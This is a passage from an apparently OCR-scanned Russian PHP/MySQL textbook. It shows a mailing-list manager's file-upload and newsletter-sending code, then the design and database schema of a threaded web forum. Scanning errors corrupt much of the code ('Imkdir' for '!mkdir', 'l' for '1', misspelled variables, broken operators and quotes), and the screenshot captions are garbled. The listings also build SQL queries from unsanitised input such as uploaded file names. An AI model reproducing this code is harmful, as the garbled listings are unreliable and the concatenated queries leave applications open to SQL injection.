// Создание каталога завершится неудачей, если это сообщение не является // первым успешно заархивированным сообщением @mkdir(’archive/$list, 0700); // Если создание определенного каталога для данного списка рассылки // потерпело неудачу, то это проблема if(Imkdir('archive/$list."/$mailid", 0700)) { do_html_footer(); exit; } // Выполнить проход по всему массиву имен загружаемых файлов $i = 0; while ( ($_FILES ['userfile']['name'] [$i]) && ($_FILES['userfile'][’tmp_name’][$i]!='none’)) { echo "<р>3агрузка ".$_FILES['userfile']['name'][$i]." - ”. $_FILES[’userfile']['size'][$i]." байт.</р>"; if ($_FILES['userfile'][’size’][$i]==0) { echo "Ошибка: ".$_FILES[’userfile']['name’] [$i]. " имеет нулевую длину"; \ $i++; continue; if ($_FILES['userfile']['size'][$i]>$max_size) { echo "Ошибка: ".$_FILES['userfile']['name'][$i]. " имеет длину более ".$max_size." байт"; $i++; continue; } // Весьма желательно проверить, что загружаемое изображение // действительно является изображением. // Если функция getimagesize() может работать с его размерами, // возможно, это таки изображение. if($i>l&&Igetimagesize($_FILES['userfile']['tmp_name'][$i])) { echo 'Ошибка: '.$_FILES['userfile']['name'][$i]. ' поврежден либо не является gif-, jpeg- или png-изображением'; $i++; continue; } // Файл 0 (сообщение в текстовом формате) и файл 1 // (сообщение в html-формате) обрабатываются как специальные случаи if($i==0) { $destinatioh = "archive/".$list."/".$mailid."/text.txt"; } else if($i == 1) { $destination = "archive/".$list."/".$mailid."/index.html"; } else { $destination = "archive/".$list."/".$mailid."/" .$_FILES['userfile']['name'][$i]; $query = "insert into images values ('".$mailid."', '".$_FILES['userfile']['name'][$i]."', "'. $_FILES [ 'userfile'] ['type'] [$i] .'")"; $result = $conn->query($query); } 676 Часть V. Реальные проекты на РНР и MySQL
if (! is_uploaded_file ($_FILES [’userfile’]['tmp_name’] [$i]) ) { // Возможно, осуществляется атака типа загрузки файла echo "<р>Что-то интересное происходит с " .$_FILES[’userfile’ ] [ ’name’]. "; его загрузка не выполняется."; do_html_footer () ; exit; } move_uploaded_f ile ($_FILES [ ’userfile ' ] [’tmp_name’] [$i], $destination); $i++; } display_preview_button($list, $mailid, ’preview-html’); display_preview_button ($list, $mailid, ’preview-text ’); display_button (’ send’, "&id=$mailid") ; echo "<p style=\"padding-bottom: 50px\">&nbsp;</p>"; do_html_footer(); ?> Давайте постепенно разберем все действия, обрабатываемые в коде листин- га 30.16. Прежде всего, мы начинаем сеанс и проверяем, что пользователь вошел как администратор — мы вовсе не хотим, чтобы кто-то другой мог загружать файлы. Строго говоря, следовало бы проверить также переменные listH mailid на пред- мет наличия недопустимых символов, но ради краткости мы опускаем эти действия. Затем мы создаем и отправляем заголовки страницы и проверяем корректность заполнения формы. В данном случае это важно, поскольку форма достаточно сложна для заполнения. Далее мы создаем в базе данных запись для этого сообщения и создаем каталог в архиве, в котором будет храниться сообщение. Затем дело доходит до основной части сценария, в которой выполняется провер- ка и перемещение каждого из загруженных файлов. Эта часть отличается для случая загрузки нескольких файлов. Сейчас мы имеем дело с четырьмя массивами: $_FILES [ ’userfile ’ ] [ ’name’ ], $_FILES[’userfile’][’tmp_name’], $_FILES[’userfile’][’size’], $_FILES[ ’userfile ’ ] [ ’type ’ ]. Перечисленные массивы соответствуют эквивалентам с ана- логичными именами, которые встречались при загрузке одного файла, за исключени- ем того, что теперь каждый из них является массивом. Детальная информация о первом файле в форме будет содержаться в элементах $_FILES[’userfile’][’tmp_name’][0], $_FILES[’userfile’][’name’][0], $_FILES[’ userf ile’] [’size’] [0] и $_FILES [’userfile ’ ] [’type’] [0]. Имея эти четыре массива, мы выполняем обычные проверки для целей безопас- ности и затем перемещаем файлы в архив. В заключение мы предоставляем администратору набор кнопок, которые он мо- жет использовать для просмотра загруженного информационного бюллетеня перед его отправкой, и кнопку для отправки бюллетеня. Вывод, генерируемый сценарием upload.php, показан на рис. 30.13. Глава 30. Разработка диспетчера списков рассылки 677
0г Ш Hilary gpakmvks lods ДО? w3p "* С? Л W ! ht^:/A>c^csV{^WV*s<P/30A5)toad.php #t Пирамида — Upload Files • w£?w sate Шй >си м> st* owOth^Usts Загрузка newslettertxt - 241 байт Загрузка newsletterhtml -1299 байт. Загрузка chart.gif - 6272 байт. Загрузка pyramid.git - 2913 байт. Рис. 30.13. Сценарий загрузки сообщает имена и размеры загруженных файлов Предварительный просмотр информационного бюллетеня Администратору доступны два способа предварительного просмотра информаци- онного бюллетеня перед его отправкой в список рассылки. Он может обратиться к функциям предварительного просмотра на странице загрузки, если желает выпол- нить предварительный просмотр немедленно после загрузки файлов. Если же он хо- чет просмотреть и отправить сообщение позже, то может также щелкнуть на кнопке View Mail (Просмотреть сообщение), в результате чего отобразятся все неотправлен- ные информационные бюллетени, которые хранятся в системе. Кнопка View Mail ак- тивизирует действие view-mail, которое обрабатывается следующим кодом: case ’view-mail’: display_items('Неотправленные сообщения', get_unsent_mail(get_email ()), ’preview-html ’, ’preview-text’, ’send’); break; Как видите, это действие также использует функцию display !terns (), связан- ную с выводом кнопок, реализующих действия preview-html, preview-text и send. Интересно отметить, что кнопки предварительного просмотра в действительно- сти не запускают некоторое действие, а вместо этого устанавливают связь непосред- ственно с информационным бюллетенем в архиве. Если вы снова посмотрите на лис- тинги 30.7 и 30.16, то увидите, что для создания этих кнопок используется функция display_preview_button (), а не display_button (). Функция display_button () создает ссылку с изображением на некоторый сценарий с GET-параметрами, если они необходимы, тогда как функция display preview button () определяет простую ссылку внутрь архива. Щелчок на этой ссылке приведет к отображению нового окна, что достигается с помощью атрибута target="new" HTML-дескриптора привязки. 678 Часть V. Реальные проекты на РНР и MySQL
Результат предварительного просмотра HTML-версии информационного бюллете- ня показан на рис. 30.14. file gdit йею bSgtory gookmarks Tools Деф ys&i СУ *1 http:/^irfiwst/phprnys^/30/erdive/3/lAndex.htn^ 4 • • Пирамида Оперативное сообщение В соответствии с полученными сегодня данными ООО Pyramid MLM теряет деньги не так быстро, как другие компании В истекшем квартале Pyramid MLM потеряла всего 22 миллиона долларов. Это лишь на 10% больше, чем за аналогичный период в прошлом году. Done Рис. 30.14. Просмотр информационного бюллетеня в HTML-формате, дополненного изображениями Отправка сообщения Щелчок на кнопке Send (Отправить) для информационного сообщения активизи- рует действие send, которое приводит к выполнению следующего кода: case ’send’: send($_GET[' id' ], $_SESSION['admin_user']); break; При обработке этого действия вызывается функция send(), которая входит в состав библиотеки mlm fns .php. Это довольно-таки большая функция. Кроме того, именцо в ней используется класс Mail mime. Код этой функции можно найти в листинге 30.17. Листинг 30.17. Функция send() из библиотеки mlm_fns .php — эта функция окончательно отправляет информационный бюллетень function send($mailid, $admin_user) { // Создает сообщение на основе хранящихся в базе данных записей и файлов. // Отправляет тестовые сообщения администратору или реальные сообщения //в список рассылки if(!check_admin_user($admin_user)) { return false; } Глава 30. Разработка диспетчера списков рассылки 679
if(!($info = load_mail_info($mailid))) { echo "<p>He удается загрузить информацию о списке для сообщения". $mailid."</р>"; return false; } $subject = $info[’subject’]; $listid = $info[’listid’]; $status = $info[’status’]; $sent = $info[’sent’]; $from_name = ’Пирамида'; $from_address = ’ return@address’ ; $query = "select email from sub_lists where listid = ’".$listid." $conn = db_connect(); $result = $conn->query($query); if (!$result) { echo $query; return false; } else if ($result->num_rows==0) { echo "<р>Отсутствуют подписчики на список с идентификатором ’’. $listid. "</р>"; return false; } // Включить почтовые классы библиотеки PEAR include('Mail.php'); include(’Mail/mime.php’); // Создать экземпляр класса Mail_mime и передать ему комбинацию символов // возврат каретки/перевод строки, которые используются в данной системе $message = new Mail_mime("\r\n"); // Прочитать текстовую версию сообщения $textfilename = "archive/".$listid."/".$mailid."/text.txt"; $tfp = fopen ($textfilename, "r") ; $text = fread($tfp, filesize($textfilename)); fclose($tfp); // Прочитать HTML-версию сообщения $htmlfilename = "archive/".$listid."/".$mailid."/index.html"; $hfp = fopen ($htmlfilename, "r"); $html = fread($hfp, filesize($htmlfilename)); fclose($hfp); // Добавить HTML- и текстовое содержимое в объект типа Mail_mime $message->setTXTBody($text); $message->setHTMLBody($html); // Получить список изображений, связанных с данным сообщением $query = "select path, mimetype from images where mailid = ’ ".$mailid."’”; $result = $conn->query($query) ; if(!$result) { echo "<p>He удается извлечь список изображений из базы данны£.</р>"; return false; } $num = $result->num_rows; for($i = 0; $i<$num; $i++) { 680 Часть V. Реальные проекты на РНР и MySQL
// Загрузить с диска каждое изображение $row = $result->fetch_array(); $imgfilename = "archive/$listid/$mailid/".$row[0]; $imgtype = $row[l]; // Добавить каждое изображение к объекту Mail_mime $message->addHTMLImage($imgfilename, $imgtype, $imgfilename, true); } // Создать тело сообщения $body = $message->get(); // Создать заголовки сообщения $from = ’"’.get_real_name($admin_user).’" <'.$admin_user.’>’; $hdrarray = array(’From* => $from, 'Subject’ => $subject); $hdrs = $message->headers($hdrarray); // Создать объект отправителя $sender =& Mail::factory(’mail’); if ($status =*= ’STORED’) { // Отправить HTML-версию сообщения администратору $sender->send($admin_user, $hdrs, $body); // Отправить текстовую версию сообщения администратору mail($admin_user, $subject, $text, ’From: "’ .get_real_name($admin_user).’" <’.$admin_user.”>”); echo "Сообщение отправлено ”. $admin_user; // Пометить сообщение как проверенное $query = "update mail set status = ’TESTED’ where mailid = ”’.$mailid."’"; $result = $conn->query($query); echo "<р>Чтобы отправить сообщение в список рассылки, щелкните еще раз на кнопке отправки. <div align=\"center\">"; display_button(’send’, ’&id=’.$mailid); echo "</div></p>"; } else if($status == ’TESTED’) { // Отправить сообщение в список рассылки $query = "select subscribers.realname, sub_lists.email, subscribers.mimetype from sub_lists, subscribers where listid - $listid and sub_lists.email = subscribers.email"; $result = $conn->query($query) ; if(!$result) { echo "<р>Ошибка при чтении списка подписчиков*:/р>" ; } $count = 0; // Для каждого подписчика while($subscriber = $result->fetch_row()) { if($subscriber[2]==’H') { // Отправить HTML-версию всем желающим подписчикам $sender->send($subscriber[1], $hdrs, $body); } else { Глава 30. Разработка диспетчера списков рассылки 681
/ / Отправить текстовую версию подписчикам, // которые не желают иметь дело с HTML mail($sub₽criber[1], $subject, $text, ’From: "'.get_real_name($admin_user).’" <’.$admin_user.'>’); } $count++; } $query = "update mail set status = 'SENT’, sent = now() where mailid = ’".$mailid."’ $result = $conn->query($query); echo "<р>Общее количество отправленных сообщений: $count.</р>"; } else if($status == ’SENT’) { echo "<р>Это сообщение уже было отправлено.</р>"; } } Эта функция выполняет несколько различных действий. Она производит тестовую отправку информационного бюллетеня администратору, прежде чем отправлять его в список рассылки. Функция управляет этим процессом, отслеживая состояние фраг- мента сообщения в базе данных. Когда сценарий загрузки загружает фрагмент сооб- щения, он устанавливает начальное состояние этого сообщения равным ’STORED’ (сохранено). Если функция send () обнаруживает, что для сообщения установлено состояние ’STORED’, она обновляет его до ’’TESTED’’ (проверено) и отправляет его администра- тору. Состояние ’TESTED’ означает, что информационный бюллетень прошел тести- рование за счет отправки его администратору. Если состоянием является ’TESTED’, оно изменяется на ’ SENT ’ (отправлено),/и сообщение будет отправлено всему списку рассылки. Это означает, что фактически каждый фрагмент сообщения должен быть отправлен дважды: один раз в тестовом режиме и один раз в реальном. Функция также отправляет два различных вида сообщений электронной поч- ты: текстовую версию, которая отправляется при помощи PHP-функции mail (), и HTML-версию, которая отправляется с помощью класса Mail mime. Функция mail () уже много раз использовалась в этой книге, поэтому давайте рассмотрим, что собой представляет класс Mail mime. Мы не будем освещать этот класс в полном объеме, однако поясним, как он применяется в этом довольно-таки типовом приложении. Все начинается с включения файлов класса и создания экземпляра класса Mail_mime: / / Включить почтовые классы библиотеки PEAR include(’Mail.php’); include('Mail/mime.php’); // Создать экземпляр класса Mail_mime и передать ему комбинацию символов // возврат каретки/перевод строки, которые используются в данной системе $message = new Mail_mime (’’\r\n’’) ; Вы наверняка заметили, что было включено два файла класса. Обобщенный класс Mail из библиотеки PEAR будет использоваться позже в этом сценарии, когда мы бу- дем выполнять собственно отправку сообщений. Этот класс входит в состав стандарт- ной поставки библиотеки PEAR. Класс Mail mime служит для создания сообщения с MIME-форматами, которые за- тем отправляются. 682 Часть V. Реальные проекты на РНР и MySQL-
Следующий шаг заключается в чтении текстовой и HTML-версий сообщения и по- следующем их добавлении к объекту Mail_mime: // Прочитать текстовую версию сообщения $textfilename - "archive/".$listid."/".$mailid."/text.txt"; $tfp = fopen($tcxtfilename, "r"); $text = fread($tfp, filesize($textfilename)); fclose($tfp); // Прочитать HTML-версию сообщения $htmlfilename = "archive/" . $listid. "/" . $mailid. ’’/index.html"; $hfp = fopen($htmlfilename, "r") ; $html = fread($hfp, filesize($htmlfilename)); fclose($hfp); // Добавить HTML- и текстовое содержимое в объект типа Mail_mime $message->setTXTBody($text); $message->setHTMLBody($html); Затем мы загружаем данные об изображениях из базы данных и просматриваем их в цикле, добавляя каждое изображение к сообщению, которое требуется отправить: $num = $result->num_rows; for($i = 0; $i<$num; $i++) { // Загрузить с диска каждое изображение $row = $result->fetch_array(); $imgfilename' = "archive/$listid/$mailid/".$row[0]; $imgtype = $row[l]; // Добавить каждое изображение к объекту Mail_mime $messa'ge->addHTMLImage ($imgfilename, $imgtype, $imgfilename, true); } В число параметров, передаваемых функции add html image (), входит имя фай- ла с изображением (либо же можно было бы передать собственно считанные дан- ные изображения), MIME-тип изображения, еще раз имя файла, а также значение true, которое будет говорить о том, что в первом параметре передается именно имя файла, а не данные изображения. (Если вы хотите иметь дело с данными изображе- ния, передавайте в качестве параметров сами данные, соответствующий М1МЕ-тип, пустой параметр и, наконец, значение false.) Вообще говоря, эти параметры могут слегка запутать. На этом этапе мы должны создать тело сообщения, причем это делается до того, как можно будет формировать заголовки сообщения. Вот как выглядит код создания тела сообщения: // Создать тело сообщения $body = $message->get(); Затем можно сформировать и заголовки сообщения, обратившись к функции headers () объекта Mail_miine: // Создать заголовки сообщения $from = ”” .get_real_name ($admin_user) . ”’ < ’ . $admin_user. ' >’ ; $hdrarray = array('From’ => $from, ’Subject’ => $subject); $hdrs = $message->headers($hdrarray) ; Глава,30. Разработка диспетчера списков рассылки 683
Наконец, имея созданное тело сообщения, его можно и отправить. Для того что- бы отправить сообщение, необходимо создать экземпляр класса Mail из библиотеки PEAR и передать ему созданное ранее сообщение. Мы начинаем с создания экземп- ляра класса Mail: // Создать объект отправителя $sender =& Mail::factory('mail’); (Присутствующий в вызове параметр ’mail* просто заставляет экземпляр класса Mail использовать для отправки сообщений PHP-функцию mail (). Другими значе- ниями этого параметра являются ’ sendmail ’ и ’ smtp ’, которые приводят к очевид- ным результатам.) Следующим шагом будет отправка сообщений подписчикам. Это делается путем извлечения и циклической обработки каждого из пользователей, подписавшихся на данный список рассылки, и применения либо функции send() объекта Mail, либо обычной функции mail (), в зависимости от MIME-типа, предпочитаемого пользова- телем: if($subscriber[2]==’Н') { // Отправить HTML-версию всем желающим подписчикам $sender->send($subscriber[1], $hdrs, $body); } else { / / Отправить текстовую версию подписчикам, // которые не желают иметь дело с HTML mail($subscriber[1], $subject, $text, 'From: "'.get_real_name($admin_user).'" <'.$admin_user.; } В первом параметре $sender->send () должен передаваться адрес электронной поч- ты пользователя, во втором — заголовки сообщения и в третьем — тело сообщения. Вот и все! Разработка приложения диспетчера списков рассылки благополучно завершена. Расширение проекта Как обычно случается с проектами, подобного рода, существует множество путей расширения его функциональных возможностей. Вот что, вполне возможно, может потребоваться. Подтверждение членства со стороны подписчиков, чтобы пользователя нельзя было подписать на список рассылки без его согласия. Обычно это делается за счет отправки сообщений электронной почты по их учетным записям и удале- ния тех из них, от которых не поступил ответ. Такой подход будет обеспечи- вать также удаление из базы данных любых неверно записанных адресов элек- тронной почты. Предоставление администратору права утверждать или отклонять пользовате- лей, которые желают подписаться на списки рассылки. Добавить функциональные возможности открытого списка рассылки, которые позволяют любому члену отправлять сообщение в список. Позволять только зарегистрированным членам просматривать архив конкрет- ного списка рассылки. 684 Часть V. Реальные проекты на РНР и MySQL
Предоставить пользователям возможность искать списки рассылки, которые соответствуют определенным критериям. Например, пользователей могут ин- тересовать информационные бюллетени, касающиеся игры в теннис. Как только количество информационных бюллетеней начинает превосходить неко- торый заданный размер, функция поиска могла бы пригодиться для отыскания конкретных бюллетеней. Увеличение эффективности приложения при обработке больших списков рас- сылки. Для таких целей более предпочтительным может оказаться узкоспециа- лизированный диспетчер списков рассылки наподобие ezmlm, в котором осу- ществляется очередизация и отправка сообщений многопоточным способом. Многократные вызовы функции mail() в РНР существенно снижают эффек- тивность, поэтому РНР не очень хорошо подходит для приложений, имеющих дело с крупными списками рассылки. Разумеется, пользовательский интерфейс можно разрабатывать и на РНР, однако для собственно диспетчеризации от- правки сообщений и списков рассылки лучше воспользоваться ezmlm. Что дальше В следующей главе мы реализуем приложение поддержки веб-форума, которое даст пользователям возможность вести онлайновые дискуссии, структурированные по темам и цепочкам бесед. Глава 30. Разработка диспетчера списков рассылки 685
31 Разработка веб-форумов Один из очень эффективных способов привлечения пользователей к сайту пред- полагает организацию на нем веб-форума. Форумы могут использоваться для достижения разнообразных целей, от поддержки дискуссионных групп по различным философским вопросам до технической поддержки продуктов, выпускаемых компани- ей. В рамках этой главы мы разработаем функциональность веб-форума, используя РНР. В качестве альтернативы для создания своих форумов можно задействовать один из су- ществующих пакетов наподобие Phorum или phpBB. Иногда веб-форумы называют также дискуссионными трибунами или дискуссионными группами. Идея форума состоит в том, чтобы одни пользователи могли отправлять в них статьи или вопросы, а другие пользователи могли просматривать эти вопросы и отве- чать на них. Каждая тема дискуссии в форуме называется цепочкой (thread). Мы реализуем веб-форум с названием “Поговорим ни о чем” (“blah-blah”), кото- рый предоставит пользователям возможность выполнять следующие действия. Начинать новые цепочки дискуссий, отправляя статьи. Отправлять статьи в ответ на существующие статьи. Просматривать статьи, которые уже были отправлены в форум. Просматривать цепочки беседы в форуме. Просматривать взаимосвязь между статьями, т.е. видеть, какие статьи являются ответами на другие статьи. Процесс создания Создание форума — действительно интересный процесс. Нам потребуется отыскать какой-нибудь способ хранения статей в базе данных с записью информации об авторе, заголовке и содержимом статьи. На первый взгляд, такая база данных может казаться не слишком отличающейся от базы данных книжного магазина “Буквофил”. Однако особенность работы большинства программ тематических дискуссий со- стоит в том, что наряду с отображением доступных статей они отображают и взаи- мосвязь между статьями. Другими словами, пользователь может видеть, какие статьи являются ответами на другие статьи (и за какой статьей они следуют), а какие начи- нают новые темы обсуждения. 686 Часть V. Реальные проекты на РНР и MySQL
Примеры дискуссионных форумов, реализующих упомянутые функциональные возможности, можно найти на очень многих сайтах, в том числе и на сайте Slashdot по адресу http://slashdot.org/. Способ отображения этих взаимосвязей необходимо самым тщательным обра- зом продумать. Пользователь должен иметь возможность просматривать отдельное сообщение, цепочку беседы с показанными взаимосвязями, а также все цепочки в системе. Пользователи должны также иметь возможность отправлять статьи по новым те- мам или отвечать на существующие статьи. Это достаточно простая часть функцио- нальности приложения. Компоненты решения Ранее мы уже упоминали, что сохранение и получение информации об авторе и текста сообщения особых сложностей не представляет. Наиболее трудная часть этого приложения связана с выбором структуры базы дан- ных, которая будет хранить требуемую информацию, а также способа эффективного навигации в рамках этой структуры. Структура статей в дискуссии может выглядеть так, как показано на рис. 31.1. Рис. 31.1. Статья в тематической дискуссии может быть первой статьей, начинающей новую тему, однако, как правило, она представляет собой ответ на какую-то другую статью На этой блок-схеме легко заметить, что имеется первоначальная статья, с которой начинается новая тема, а также три ответа на нее. С некоторыми из этих ответов также связаны ответы. В свою очередь, эти ответы могли бы' также иметь ответы, и так почти до бесконечности (или до полного исчерпания темы). Блок-схема дает ключ к тому, как хранить и получать данные о статьях и связях между ними. Блок-схема представляет собой не что иное, как древовидную структуру. Если вы обладаете достаточным опытом программирования, то наверняка знаете, что древовидная структура является одной из наиболее важных из применяемых структур данных. Такая структура имеет узлы (они же статьи) и связи (они же отноше- ния между статьями) — в общем, все как в классическом обобщенном дереве. (Если вы вообще не знакомы с использованием деревьев в качестве структур данных, не стоит особо беспокоиться — в процессе изложения материала мы достаточно подроб- но рассмотрим их основные свойства.) Глава 31. Разработка веб-форумов 687
Чтобы это все как-то заработало, потребуется решить следующие две основные задачи. Найти способ отображения этой древовидной структуры на хранилище данных (в нашем конкретном случае — на базу данных MySQL). Найти способ восстановления данных при необходимости. В рамках этого проекта мы начнем с реализации базы данных MySQL, которая позволит хранить статьи в промежутках между их использованием. Кроме того, мы создадим простые интерфейсы, которые позволят сохранять статьи. При загрузке списка статей, предназначенных для просмотра, заголовки всех статей будут загружаться в PHP-класс с именем treenode. Каждый объект класса treenode будет содержать заголовки статьи и набор ответов на ту или иную статью. Ответы будут храниться в массиве. Каждый ответ сам по себе будет объектом treenode, который может содержать массив ответов на данную статью, которые и сами являются объектами treenode, и т.д. Это продолжается вплоть до так называе- мых узлов-листъев (leaf nodes) дерева — узлов, которые не содержат никаких ответов. В результате образуется древовидная структура, которая выглядит приблизительно так, как показано на рис. 31.1. А сейчас мы дадим определения некоторых терминов. Сообщение, на которое осуществляется ответ, будем называть родительским узлом (parent node) текущего узла. Любые ответы на сообщение будем называть дочерними узлами (children) текущего узла. Проще всего это запомнить, если думать о древовидной структуре как о семей- ном генеалогическом древе. Первую статью этой древовидной структуры — ту, что не имеет родительского узла — иногда называют корневым узлом (root node). На заметку! Не вполне интуитивным может показаться тот факт, что обычно корневой узел помещают в верх- нюю часть диаграммы, в отличие от деревьев в живой природе. Для построения и отображения этой древовидной структуры в рамках данного про- екта мы подготовим набор рекурсивных функций. (Рекурсия обсуждалась в главе 5.) Для реализации этой структуры Мы решили использовать класс, поскольку это простейший способ построения сложной динамически расширяемой структуры дан- ных для настоящего приложения. Это также означает, что мы получим исключитель- но простой и элегантный код для выполнения относительно сложных действий. Обзор решения Чтобы в действительности понять, что было сделано для этого проекта, возмож- но, имеет смысл подробно ознакомиться с кодом, что мы и предпримем, правда, чуть позже. Хотя это приложение несколько менее громоздко по сравнению с другими, зато его код намного сложнее. Приложение содержит всего три реальных страницы. Имеется основная индекс- ная страница, на которой отображаются все статьи из форума в виде ссылок на статьи. На этой странице можно добавлять новые статьи, просматривать перечис- ленные статьи или изменять способ просмотра статей, раскрывая или сворачивая ветви дерева. (Подробнее об этом — ниже.) На странице представления статьи мож- 688 Часть V. Реальные проекты на РНР и MySQL
но отправлять ответ на эту статью или просматривать существующие ответы на нее. Страница создания новой статьи позволяет ввести новую статью — будь то ответ на существующее сообщение или же новое, ни с чем не связанное сообщение. Блок-схема системы показана на рис. 31.2. Рис. 31.2. Три основных части системы форума “Поговорим ни о чем” Перечень и краткие описания файлов этого приложения можно найти в табл. 31.1. Таблица 31.1. Файлы приложения веб-форума Имя файла Тип Описание index.php Приложение Главная страница, которую пользователи будут видеть после входа на сайт. Содержит раскрываемый и сверты- ваемый список всех статей, доступных на сайте. new_post.php Приложение Форма, используемая для отправки новых статей. store_new_post.php Приложение Страница, на которой сохраняются статьи, введенные в форме new_post. php. view_post.php Приложение Страница, на которой отображается отдельное сообще- ние и список ответов на это сообщение. treenode_class.php Библиотека Файл, содержащий код класса treenode, который бу- дет использоваться для отображения иерархии статей. include_fns.php Библиотека Собирает воедино все остальные библиотеки функций (другие перечисленные в этой таблице файлы библио- течного типа), необходимые для целей приложения. data_valid_fns.php Библиотека Коллекция функций проверки допустимости данных. db_fns.php Библиотека Коллекция функций подключения к базе данных. discussion_fns.php Библиотека Коллекция функций для сохранения и выборки статей. output_fns.php Библиотека Коллекция функций для вывода HTML-содержимого. create_database.sql SQL SQL-код для создания базы данных, необходимой для приложения. А теперь давайте подробно рассмотрим реализацию. Создание базы данных Для каждой статьи, которая была отправлена на форум, мы должны хранить несколь- ко атрибутов: лицо, которое ее написало (назовем его отправителем); заголовок статьи; время ее отправки; тело статьи. Следовательно, нам потребуется иметь таблицу статей. Для каждой статьи будет сгенерирован уникальный идентификатор post id. Глава 31. Разработка веб-форумов 689
Каждая статья должна содержать некоторую информацию о ее месте в иерархии. Информацию о дочерних статьях каждой статьи можно было бы хранить вместе с ней. Однако с каждой статьей может быть связано сразу несколько ответов, поэтому такой подход может привести к определенным проблемам с выбором структуры базы дан- ных. Поскольку каждая статья может быть ответом только на одну другую статью, про- ще хранить ссылку на родительскую статью, т.е. статью, на которую отвечает данная. При таком подходе для каждой статьи потребуется хранить следующие данные: post id — уникальный идентификатор статьи; parent — идентификатор post id родительской статьи; poster — автор статьи; title — заголовок статьи; posted — дата и время отправки статьи; message — тело статьи. В отношении перечисленных выше полей мы еще проведем некоторую оптими- зацию. При попытке определить, имеет ли статья какие-либо ответы не нее, необходимо выполнить запрос на предмет наличия каких-либо других статей, для которых дан- ная статья является родительской. Подобного рода информация потребуется для ка- ждой статьи, представленной в списке. Чем меньше запросов придется выполнять, тем быстрее будет работать код. Избавиться от потребности в этих запросах можно, добавив поле, указывающее на наличие хотя бы одного ответа. Давайте назовем его children и установим для него булевский тип: это поле будет принимать значение 1, если узел имеет дочерние узлы, и 0 — если нет. Оптимизация никогда не достается бесплатно. В данном случае мы вынуждены хранить избыточные данные. Поскольку данные сохраняются двумя способами, необ- ходимо обеспечить, чтобы оба представления были согласованы друг с другом. При добавлении дочернего узла необходимо обновлять родительский узел. Если мы разре- шаем удаление дочернего узла, для обеспечения ссылочной целостности базы данных также потребуется обновлять и родительский узел. В данном проекте мы не соби- раемся создавать средства для удаления статей, поэтому решения потребует только одна часть проблемы. Если же вдруг будет принято решение расширить этот код, то указанное обстоятельство потребуется принять во внимание. Существует еще одна оптимизация, которую мы выполним в рамках этого проек- та. Тела сообщений будут отделены от остальных данных, и храниться в отдельной таблице. Это связано с тем, что этот атрибут будет иметь MySQL-тип text. Наличие этого типа в таблице может замедлить выполнение запросов к данной таблице. Поскольку для построения древовидной структуры потребуется выполнение множе- ства небольших запросов, это может привести к существенному замедлению работы. Когда же тела сообщений хранятся в отдельной таблице, их можно получать только тогда, когда пользователь желает просмотреть конкретное сообщение. MySQL выполняет поиск записей фиксированного размера быстрее, чем поиск записей переменного размера. При необходимости использования данных перемен- ного размера производительность можно увеличить, организовав индексы по полям, которые будут задействоваться во время поиска в базе данных. Для некоторых проек- тов имело бы смысл оставить текстовое поле в той же записи, что и остальные дан- ные, и определить индексы для всех столбцов, по которым планируется выполнять 690 Часть V. Реальные проекты на РНР и MySQL
поиск. Тем не менее, учитывая тот факт, что генерация индексов требует времени, а данные в форумах, скорее всего, будут изменяться постоянно, мы может столкнуться с необходимостью выполнения частых генераций индексов. Кроме того, мы решили добавить также атрибут area на случай, если мы впо- следствии решим реализовать с помощью одного приложения сразу несколько бе- сед. В рамках данного проекта эта возможность не будет реализована, однако имеет смысл все же зарезервировать ее на будущее. С учетом изложенных выше соображений написан SQL-код создания базы данных форума, который можно видеть в листинге 31.1. Листинг 31.1. create_database. sql — SQL-код, создающий базу данных discussion для хранения информации о дискуссиях create database discussion; use discussion; create table header ( parent int not null, poster char(20) not null, title char(20) not null, children int default 0 not null, area int default 1 not null, posted datetime not null, postid int unsigned not null auto_increment primary key ); create table body ( postid int unsigned not null primary key, message text ) ; grant select, insert, update, delete on discussion.* to discussion@localhost identified by ’password’; Эту структуру базы данных можно создать, запустив на выполнение приведенный сценарий в среде MySQL: mysql -u root -р < create_database. sql При этом необходимо будет ввести пароль привилегированного пользователя root. Вероятно, потребуется также изменить пароль, определенный для пользователя дискуссии, на что-то более подходящее. Для более полного понимания, как эта структура будет хранить статьи и их взаи- мосвязи, посмотрите на рис. 31.3. Как видите, поле parent каждой статьи в базе данных содержит идентификатор postid родительской статьи, которая расположена в дереве над ней. Родительская статья — это статья, на которую дается ответ. На рис. 31.3 должно быть заметно, что корневой узел с postid равным 1 не имеет родительского узла. Все новые темы дискуссий будут располагаться в этой позиции. Для статей такого типа их родительская статья (поле parent) представляется в базе данных нулевым значением (0). Глава 31. Разработка веб-форумов 691
Представление в виде базы данных postid: 1 parent: 0 postid: 2 parent: 1 postid: 3 parent: 1 postid: 4 parent: 2 postid: 5 parent:'2 Представление в виде дерева Рис- 31 -3- База данных хранит древовидную структуру в плоской реляционной форме Просмотр дерева статей Теперь нам необходимо выбрать способ извлечения информации из базы данных и представления ее снова в виде древовидной структуры. Это будет выполнено через сценарий главной страницы index.php. Для иллюстрации излагаемого материала мы ввели несколько примеров статей при помощи сценариев отправки статей new post.php и store new post.php. Эти примеры будут рассмотрены в следующем разделе. Вначале мы обсудим проблемы вывода списка статей, поскольку именно он служит основой сайта. После этого знакомство со всеми остальными компонентами большо- го труда не составит. Первоначальное представление статей, которое увидит пользователь, показа- но на рис. 31.4. Рис, 31-4- Первоначальное представление списка статей отображает статьи в “свернутой” форгйе 692 Часть V. Реальные проекты на РНР и MySQL
Все статьи, представленные на этом рисунке, являются начальными. Ни одна из них не является ответом на какую-то статью; все они — первые статьи по той или иной конкретной теме. Как видите, пользователю доступен набор опций. В окне имеется панель меню, которая позволяет добавлять новую статью и раскрывать или сворачивать представ- ление статей. Чтобы понять значение этого, давайте внимательно посмотрим на статьи. Рядом с некоторыми из них присутствуют символы плюса. Это означает, что на них были получены ответы. Чтобы увидеть ответы на конкретную статью, необходимо щелк- нуть на символе плюса. Результат щелчка на одном из этих символов можно видеть на рис. 31.5. file Edit View History gpokmarks Joofc Help Ww? * C? tJU U httpi/AKafrrostAjhpmysql 31ДОеж.рИр?ехрвлй-2#2 8B Установка PHP - Саша - 21:34 04/15/2009 H Информация-Спавик-21:39 04/15/2009 S Re Информация - Ева -1323 04/16/2009 Re: Информация - Талона -13-23 04/16/2009 Re Информация - Татьяна -13:24 04/16/2009 новая статья - Галя -13:25 04/16/2009 Рис- 31-5. Развернутая цепочка дискуссии на тему “Информация” Несложно заметить, что щелчок на символе плюса привел к отображению отве- тов на конкретную первоначальную статью. Теперь символ плюса превратился в сим- вол минуса. Если щелкнуть на нем, все статьи в цепочке окажутся свернутыми, и мы вновь приходим к исходному 